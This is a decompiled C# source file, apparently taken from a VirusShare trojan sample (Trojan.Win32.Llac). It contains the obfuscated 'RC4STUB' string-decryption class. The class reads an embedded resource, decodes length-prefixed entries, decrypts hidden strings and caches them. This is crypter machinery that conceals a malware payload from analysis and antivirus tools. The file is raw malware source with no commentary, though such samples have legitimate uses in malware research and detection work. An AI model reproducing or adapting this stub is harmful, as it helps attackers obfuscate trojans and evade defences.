// Decompiled with JetBrains decompiler
// Type: .

// Assembly: RC4STUB, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 160606E6-36B6-4FBA-AFEC-6A83B6EA2ADB
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.coak-8789f9be2212d2703a374fd76b1c014be160523209fd6790cd7b4f20f0f5fe91.exe

using \u0002;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;

namespace \u0002
{
  internal sealed class \u0001
  {
    private static string \u0001 = "0";
    private static string \u0002 = "82";
    private static byte[] \u0001 = (byte[]) null;
    private static Hashtable \u0001 = (Hashtable) null;
    private static bool \u0001 = false;
    private static int \u0001 = 0;

    public static string \u0002([In] int obj0)
    {
      obj0 -= \u0001.\u0001;
      if (\u0001.\u0001)
      {
        string str = (string) \u0091.\u007E\u0080\u0002((object) \u0001.\u0001, (object) obj0);
        if (str != null)
          return str;
      }
      int num1 = obj0;
      byte[] numArray1 = \u0001.\u0001;
      int index1 = num1;
      int num2 = index1 + 1;
      int num3 = (int) numArray1[index1];
      int num4;
      if ((num3 & 128) == 0)
      {
        num4 = num3;
        if (num4 == 0)
          return string.Empty;
      }
      else if ((num3 & 64) == 0)
      {
        num4 = ((num3 & 63) << 8) + (int) \u0001.\u0001[num2++];
      }
      else
      {
        int num5 = (num3 & 31) << 24;
        byte[] numArray2 = \u0001.\u0001;
        int index2 = num2;
        int num6 = index2 + 1;
        int num7 = (int) numArray2[index2] << 16;
        int num8 = num5 + num7;
        byte[] numArray3 = \u0001.\u0001;
        int index3 = num6;
        int num9 = index3 + 1;
        int num10 = (int) numArray3[index3] << 8;
        int num11 = num8 + num10;
        byte[] numArray4 = \u0001.\u0001;
        int index4 = num9;
        num2 = index4 + 1;
        int num12 = (int) numArray4[index4];
        num4 = num11 + num12;
      }
      try
      {
        byte[] numArray5 = \u0090.\u000F\u0002(\u0087.\u007E\u0095\u0002((object) \u001D.\u0096\u0002(), \u0001.\u0001, num2, num4));
        string str = \u0016.\u009D(\u0087.\u007E\u0095\u0002((object) \u001D.\u0096\u0002(), numArray5, 0, numArray5.Length));
        if (\u0001.\u0001)
        {
          try
          {
            \u0006\u0002.\u007E\u001F\u0002((object) \u0001.\u0001, (object) obj0, (object) str);
          }
          catch
          {
          }
        }
        return str;
      }
      catch
      {
        return (string) null;
      }
    }

    static \u0001()
    {
      if (\u001F.\u0097(\u0001.\u0001, "1"))
      {
        \u0001.\u0001 = true;
        \u0001.\u0001 = new Hashtable();
      }
      \u0001.\u0001 = \u0092.\u000E\u0002(\u0001.\u0002);
      Assembly assembly = \u001A\u0002.\u0087\u0002();
      Stream stream = \u001E\u0002.\u007E\u0084\u0002((object) assembly, "{160606e6-36b6-4fba-afec-6a83b6ea2adb}");
      try
      {
        int length = \u0007\u0002.\u0008\u0002(\u001C\u0002.\u007E\u0098\u0002((object) stream));
        \u0001.\u0001 = new byte[length];
        int num = \u001D\u0002.\u007E\u009A\u0002((object) stream, \u0001.\u0001, 0, length);
        \u001E.\u007E\u0099\u0002((object) stream);
      }
      finally
      {
        if (stream != null)
          \u001E.\u007E\u0096((object) stream);
      }
    }
  }
}